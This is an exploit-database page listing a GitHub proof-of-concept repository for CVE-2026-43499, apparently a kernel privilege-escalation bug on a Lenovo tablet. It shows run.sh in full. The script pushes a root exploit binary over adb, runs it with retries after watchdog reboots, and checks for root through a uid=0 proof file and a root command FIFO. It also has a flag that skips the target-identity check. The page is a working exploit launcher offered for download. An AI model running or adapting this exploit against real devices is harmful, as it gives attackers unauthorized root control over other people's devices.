Exploit database

GH-f838dcf62fc9fa430d033ea61489fdd5

wonjj6768/lenovo-tb365fc-ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files13

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

run.sh

Suggested starting fileShell · 6,213 bytes
#!/bin/sh
# run.sh — push and run the exploit on the device.
#
#   SERIAL=<serial> ./run.sh [KEY=VALUE ...]
#
# Optional trailing arguments are environment assignments handed to the binary
# through `env` (the entry point is `main(void)` and takes no argv). Example:
#
#   SERIAL=<serial> ./run.sh TRIGGER=sigreturn MCAST_DEBUG_RET=1
#
# The device kernel release and page size are hard-gated; a differing
# fingerprint is reported but does not block (the exploit depends on the kernel,
# not the build id). Set FORCE_TARGET=1 to skip the kernel/page check too
# (research only).
#
# Success requires this run's exploit exit status to be 0, the "ROOT ACHIEVED"
# marker, a freshly written root proof file, and a root FIFO round-trip. Stale
# evidence from a previous session is not accepted.
set -eu
DIR="$(cd "$(dirname "$0")" && pwd)"
ADB="${ADB:-adb}"
SERIAL="${SERIAL:-}"
DEV=/data/local/tmp
BIN=poc_mcast_root
LOG_DIR="$DIR/runlogs"

adb_() { if [ -n "$SERIAL" ]; then "$ADB" -s "$SERIAL" "$@"; else "$ADB" "$@"; fi; }
fail() { echo "[!] $*" >&2; exit 1; }

# Git Bash on Windows rewrites /data/... arguments to a Windows path; disable
# that and convert only the host source paths explicitly.
export MSYS_NO_PATHCONV=1
hostpath() { if command -v cygpath >/dev/null 2>&1; then cygpath -w "$1"; else printf '%s' "$1"; fi; }

expect_kernel="$(sed -n 's/^[[:space:]]*#define[[:space:]]\{1,\}BUILD_KERNEL_RELEASE[[:space:]]\{1,\}"\(.*\)".*$/\1/p' "$DIR/src/target.h" | head -n1)"
expect_fp="$(sed -n 's/^[[:space:]]*#define[[:space:]]\{1,\}BUILD_FINGERPRINT[[:space:]]\{1,\}"\(.*\)".*$/\1/p' "$DIR/src/target.h" | head -n1)"
expect_page="$(sed -n 's/^[[:space:]]*#define[[:space:]]\{1,\}BUILD_PAGE_SIZE[[:space:]]\{1,\}\([0-9]\{1,\}\).*$/\1/p' "$DIR/src/target.h" | head -n1)"
[ -n "$expect_kernel" ] && [ -n "$expect_fp" ] || fail "cannot read target identity from src/target.h"

# Optional environment assignments (KEY=VALUE) passed via `env`.
ENV_ARGS=""
for a in "$@"; do
    case "$a" in
        *=*) ENV_ARGS="$ENV_ARGS $a" ;;
        *)   fail "unexpected argument '$a' (expected KEY=VALUE)" ;;
    esac
done

[ -f "$DIR/$BIN" ] || fail "$BIN not built; run ./build.sh first"
command -v "$ADB" >/dev/null 2>&1 || fail "adb not found: $ADB"

state="$(adb_ get-state 2>/dev/null | tr -d '\r' || true)"
if [ "$state" != "device" ]; then
    echo "[!] adb device not ready (get-state='$state')" >&2
    exit 2
fi

uk="$(adb_ shell uname -r | tr -d '\r')"
fp="$(adb_ shell getprop ro.build.fingerprint | tr -d '\r')"
ps="$(adb_ shell getconf PAGE_SIZE | tr -d '\r')"
if [ "${FORCE_TARGET:-0}" = "1" ]; then
    echo "[!] FORCE_TARGET=1 — skipping target identity check (research only)"
else
    [ "$uk" = "$expect_kernel" ] || fail "kernel mismatch: device='$uk' expected='$expect_kernel'"
    [ "$ps" = "$expect_page" ]   || fail "page size mismatch: device='$ps' expected='$expect_page'"
    if [ "$fp" != "$expect_fp" ]; then
        echo "[!] fingerprint differs (device='$fp')"
        echo "[!] expected '$expect_fp' — continuing (the kernel is the real gate)"
    fi
fi
echo "[*] fingerprint: $fp"
echo "[*] kernel: $uk (page=$ps)"

mkdir -p "$LOG_DIR"
STAMP="$(date +%Y%m%d_%H%M%S)"
OUT="$LOG_DIR/run_${STAMP}.out"

echo "[*] push $BIN"
adb_ push "$(hostpath "$DIR/$BIN")" "$DEV/$BIN" >/dev/null || fail "push $BIN failed"
adb_ shell "chmod 755 $DEV/$BIN" >/dev/null || fail "chmod $BIN failed"

REMOTE_OUT="$DEV/.poc_run.out"
REMOTE_RC="$DEV/.poc_run.rc"

# One exploit attempt. Returns 0 on success, 1 on a genuine non-zero exit,
# 2 when the device went away (likely a watchdog reboot) so the caller retries.
attempt_exploit() {
    echo "[*] run poc_mcast_root${ENV_ARGS:+ (env:$ENV_ARGS)}"
    # Fresh evidence: drop the previous run's output/rc/proof, then run detached
    # with remote output redirected to a file (detached helpers would otherwise
    # hold the adb shell stdout). The remote shell writes timeout's status to RC.
    adb_ shell "cd $DEV && rm -f $REMOTE_OUT $REMOTE_RC root_proof.txt; (timeout -s KILL 300 env$ENV_ARGS ./$BIN > $REMOTE_OUT 2>&1; echo \$? > $REMOTE_RC) & echo started" >/dev/null 2>&1 || true
    i=0; finished=0; gone=0
    while [ "$i" -lt 320 ]; do
        state="$(adb_ get-state 2>/dev/null | tr -d '\r' || true)"
        if [ "$state" != "device" ]; then
            gone=1
            echo "[!] device left adb during the exploit; waiting to see if it returns"
            break
        fi
        if adb_ shell "test -f $REMOTE_RC 2>/dev/null"; then
            finished=1
            break
        fi
        sleep 2
        i=$((i + 2))
    done
    if [ "$gone" = "1" ]; then
        adb_ wait-for-device >/dev/null 2>&1 || true
        return 2
    fi
    adb_ shell "cat $REMOTE_OUT 2>/dev/null" | tee "$OUT" || true
    [ "$finished" = "1" ] || { echo "[!] exploit did not finish within ${i}s" >&2; return 1; }
    rc="$(adb_ shell "cat $REMOTE_RC 2>/dev/null" | tr -d '\r')"
    [ "$rc" = "0" ] || { echo "[!] exploit exited non-zero (rc=$rc)" >&2; return 1; }
    grep -q 'ROOT ACHIEVED' "$OUT" || { echo "[!] exploit did not report root achievement" >&2; return 1; }
    proof="$(adb_ shell "cat $DEV/root_proof.txt 2>/dev/null" | tr -d '\r')"
    echo "$proof" | grep -q 'uid=0' || { echo "[!] no fresh root proof produced" >&2; return 1; }
    fifo="$(adb_ shell "echo id > $DEV/.rcmd; sleep 1; cat $DEV/.rout" | tr -d '\r')"
    echo "$fifo" | grep -q 'uid=0(root)' || { echo "[!] root FIFO round-trip failed" >&2; return 1; }
    return 0
}

# The exploit can trip a watchdog on the first attempt and reboot the device;
# wait for it to come back and try again (bounded).
attempt=1
while :; do
    if attempt_exploit; then break; fi
    if [ "$attempt" -ge 3 ]; then fail "exploit failed after $attempt attempts (see $OUT)"; fi
    echo "[*] waiting for the device, then retrying the exploit (attempt $((attempt + 1))/3)"
    for _w in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
        adb_ wait-for-device >/dev/null 2>&1 || true
        [ "$(adb_ get-state 2>/dev/null | tr -d '\r' || true)" = "device" ] && break
        sleep 3
    done
    sleep 5
    attempt=$((attempt + 1))
done

echo "[+] ROOT OK — log: $OUT"